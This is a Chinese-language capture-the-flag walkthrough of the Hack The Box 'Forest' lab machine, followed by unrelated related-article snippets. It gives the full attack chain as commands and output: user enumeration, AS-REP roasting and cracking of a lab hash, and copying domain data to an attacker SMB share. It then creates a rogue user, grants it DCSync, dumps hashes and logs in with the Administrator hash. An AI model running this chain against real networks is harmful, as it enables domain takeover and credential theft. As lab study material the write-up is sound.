HTB:Forest[WriteUP]

连接至HTB服务器并启动靶机

分配IP:10.10.16.21

靶机IP:10.10.10.161

靶机Domain:forest.htb


目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbclient尝试列出靶机SMB共享

使用netexec枚举靶机AD域中的用户信息

边界突破

将上述枚举出来的用户名保存到文件中

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据

使用john对该密码哈希进行字典爆破

使用netexec通过上述凭证尝试枚举靶机SMB服务共享

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

将SharpHound上传至靶机

控制靶机连接至攻击机SMB服务器

使用BloodHound读取分析靶机域内数据

点击下方的HTB.LOCAL域结点查看其可传递DC

查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组

授予x0da6h账户DcSync权限

使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.161 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.161

  • 需要重点关注的端口和信息

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

5985端口:Win-RM服务

AD域名:htb.local

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.161

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn 10.10.10.161

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn 10.10.10.161

使用smbclient尝试列出靶机SMB共享

smbclient -L \\forest.htb

使用netexec枚举靶机AD域中的用户信息

netexec smb forest.htb -d htb.local --users


边界突破

将上述枚举出来的用户名保存到文件中

netexec smb forest.htb -d htb.local --users | awk '{print $5}' | tee names.txt

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据
impacket-GetNPUsers -no-pass htb.local/ -usersfile ./names.txt -dc-ip 10.10.10.161

$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc
  • 将枚举得到的密码哈希保存到文件中
echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc' > hash

使用john对该密码哈希进行字典爆破

john hash --wordlist=../dictionary/rockyou.txt --format=krb5asrep

账户:svc-alfresco

密码:s3rvice

使用netexec通过上述凭证尝试枚举靶机SMB服务共享
netexec smb forest.htb -u 'svc-alfresco' -p 's3rvice' --shares

使用evil-winrm通过上述凭证登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'svc-alfresco' -p 's3rvice'

  • C:\Users\svc-alfresco\Desktop目录下找到user.txt文件


权限提升

将SharpHound上传至靶机

upload SharpHound.exe

  • 执行该文件收集靶机域内信息
.\SharpHound.exe -c all

控制靶机连接至攻击机SMB服务器
net use Z: \\10.10.16.21\temp
  • 将域内数据拷贝至攻击机共享目录中
copy 20250126235717_BloodHound.zip Z:\

使用BloodHound读取分析靶机域内数据

  • 选择`查找到域管理员的最短路径`

点击下方的HTB.LOCAL域结点查看其可传递DC

  • 如图表所示,ACCOUNT OPERATORS(AO)组对EXCHANGE WINDOWS PERMISSIONS(EWP)组具有GenericAll权限,而EWP组对HTB.LOCAL域控制器具有WriteDacl权限
查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组
  • 在域中新建一个用户
net user x0da6h Password123! /add /domain

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user x0da6h Password123! /add /domain
The command completed successfully.

  • 将该用户加入EWP组
net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h
The command completed successfully.

授予x0da6h账户DcSync权限

  • 将明文密码转换为安全字符串
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  • 创建x0da6h用户与安全密码的凭证对象
$Cred = New-Object System.Management.Automation.PSCredential('HTB\x0da6h', $SecPassword)
  • 使用凭证对象为x0da6h账户授予 HTB.LOCAL的DCSync权限
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=HTB,DC=LOCAL" -PrincipalIdentity x0da6h -Rights DCSync
使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希
impacket-secretsdump 'htb.local/x0da6h:Password123!@10.10.10.161'

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
  • C:\Users\Administrator\Desktop目录下找到root.txt文件

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户

impacket-psexec htb.local/Administrator@forest.htb -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/961758.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

项目集成GateWay

文章目录 1.环境搭建1.创建sunrays-common-cloud-gateway-starter模块2.目录结构3.自动配置1.GateWayAutoConfiguration.java2.spring.factories 3.pom.xml4.注意:GateWay不能跟Web一起引入! 1.环境搭建 1.创建sunrays-common-cloud-gateway-starter模块…

STM32 PWM驱动直流电机

接线图: 代码配置: 根据驱动舵机的代码来写,与舵机不同的是,这次的引脚接到了PA2上,所以需要改一下引脚以及改为OC3通道。 另外还需在配置两个GPIO引脚,来控制电机的旋转方向,这里连接到了PA4与…

强大到工业层面的软件

电脑数据删不干净,简直是一种让人抓狂的折磨!明明已经把文件扔进了回收站,清空了,可那些残留的数据就像牛皮癣一样,怎么也除不掉。这种烦恼简直无处不在,让人从头到脚都感到无比烦躁。 首先,心…

一分钟搭建promehteus+grafana+alertmanager监控平台

为什么要自己搭建一个监控平台 平时进行后端开发,特别是微服务的后端可开发,一定少不了对接监控平台,但是平时进行一些小功能的测试又没有必要每次都手动安装那么多软件进行一个小功能的测试,这里我使用docker-compose搭建了一个…

记一次STM32编译生成BIN文件过大的问题(基于STM32CubeIDE)

文章目录 问题描述解决方法更多拓展 问题描述 最近在一个项目中使用了 STM32H743 单片机(基于 STM32CubeIDE GCC 开发),它的内存分为了 DTCMRAM RAM_D1 RAM_D2 …等很多部分。其中 DTCM 的速度是比通常的内存要快的,缺点是不支持…

前端-Rollup

Rollup 是一个用于 JavaScript 的模块打包工具,它将小的代码片段编译成更大、更复杂的代码,例如库或应用程序。它使用 JavaScript 的 ES6 版本中包含的新标准化代码模块格式,而不是以前的 CommonJS 和 AMD 等特殊解决方案。ES 模块允许你自由…

崇州市街子古镇正月初一繁华剪影

今天是蛇年正月初一,下午笔者步出家门,逛到了崇州市街子古镇井水街,想看看景象如何。结果看到的是车水马龙、人流如织,繁花似锦,热闹非凡,原来今天开始预订此地摆下的长街宴。心里高兴,便用手机…

【橘子Kibana】Kibana的分析能力Analytics简易分析

一、kibana是啥,能干嘛 我们经常会用es来实现一些关于检索,关于分析的业务。但是es本身并没有UI,我们只能通过调用api来完成一些能力。而kibana就是他的一个外置UI,你完全可以这么理解。 当我们进入kibana的主页的时候你可以看到这样的布局。…

python3+TensorFlow 2.x(二) 回归模型

目录 回归算法 1、线性回归 (Linear Regression) 一元线性回归举例 2、非线性回归 3、回归分类 回归算法 回归算法用于预测连续的数值输出。回归分析的目标是建立一个模型,以便根据输入特征预测目标变量,在使用 TensorFlow 2.x 实现线性回归模型时&…

OpenAI-Edge-TTS:本地化 OpenAI 兼容的文本转语音 API,免费高效!

文本转语音(TTS)技术已经成为人工智能领域的重要一环,无论是语音助手、教育内容生成,还是音频文章创作,TTS 工具都能显著提高效率。今天要为大家介绍的是 OpenAI-Edge-TTS,一款基于 Microsoft Edge 在线文本…

练习(复习)

大家好,今天我们来做几道简单的选择题目来巩固一下最近学习的知识,以便我们接下来更好的学习。 这道题比较简单,我们前面学过,在Java中,一个类只能继承一个父类,但是一个父类可以有多个子类,一个…

Meta推动虚拟现实:Facebook如何进入元宇宙时代

随着科技的不断进步,虚拟现实(VR)与增强现实(AR)技术的快速发展,世界正在逐步迈向一个全新的数字时代——元宇宙。而在这个革命性的转变中,Meta(前身为Facebook)作为全球…

go gin配置air

一、依赖下载 安装最新,且在你工作区下进行安装,我的是D:/GO是我的工作区,所有项目都在目录下的src, go install github.com/air-verse/airlatest 如果出现类似报错: 将图中第三行 github.com/air-verse/air 替换最…

Spring--SpringMVC使用(接收和响应数据、RESTFul风格设计、其他扩展)

SpringMVC使用 二.SpringMVC接收数据2.1访问路径设置2.2接收参数1.param和json2.param接收数据3 路径 参数接收4.json参数接收 2.3接收cookie数据2.4接收请求头数据2.5原生api获取2.6共享域对象 三.SringMVC响应数据3.1返回json数据ResponseBodyRestController 3.2返回静态资源…

FreeRTOS的任务创建和删除

1,任务创建和删除的API函数 任务的创建和删除本质就是调用FreeRTOS的API函数 动态创建任务: 任务的任务控制块以及任务的栈空间所需的内存,均由 FreeRTOS 从 FreeRTOS 管理的堆中分配。 静态创建任务: 任务的任务控制块以及任务的…

通过Ngrok实现内网穿透助力远程开发

在现代软件开发和网络应用的环境下,开发人员常常需要在本地搭建服务器进行调试、测试或演示。然而,传统的端口映射(如使用 NAT 或 SSH 隧道)配置繁琐,且并非所有环境都允许直接暴露本地服务。ngrok 作为一款强大的隧道…

Elasticsearch的索引生命周期管理

目录 说明零、参考一、ILM的基本概念二、ILM的实践步骤Elasticsearch ILM策略中的“最小年龄”是如何计算的?如何监控和调整Elasticsearch ILM策略的性能? 1. **监控性能**使用/_cat/thread_pool API基本请求格式请求特定线程池的信息响应内容 2. **调整…

wx043基于springboot+vue+uniapp的智慧物流小程序

开发语言:Java框架:springbootuniappJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7(一定要5.7版本)数据库工具:Navicat11开发软件:eclipse/myeclipse/ideaMaven包&#…

关于使用PHP时WordPress排错——“这意味着您在wp-config.php文件中指定的用户名和密码信息不正确”的解决办法

本来是看到一位好友的自己建站,所以突发奇想,在本地装个WordPress玩玩吧,就尝试着装了一下,因为之前电脑上就有MySQL,所以在自己使用PHP建立MySQL时报错了。 最开始是我的php启动mysql时有问题,也就是启动过…

批量卸载fnm中已经安装的所有版本

直接上代码 fnm list | awk -F NR>1 {print line} {line$2} | xargs -n 1 -I {} fnm uninstall {}原理 fnm list 列出 fnm 中所有已经安装的 node 版本 awk -F NR>1 {print line} {line$2} 以空格分隔-F {line$2},取从左到右第 2 段(v22.11…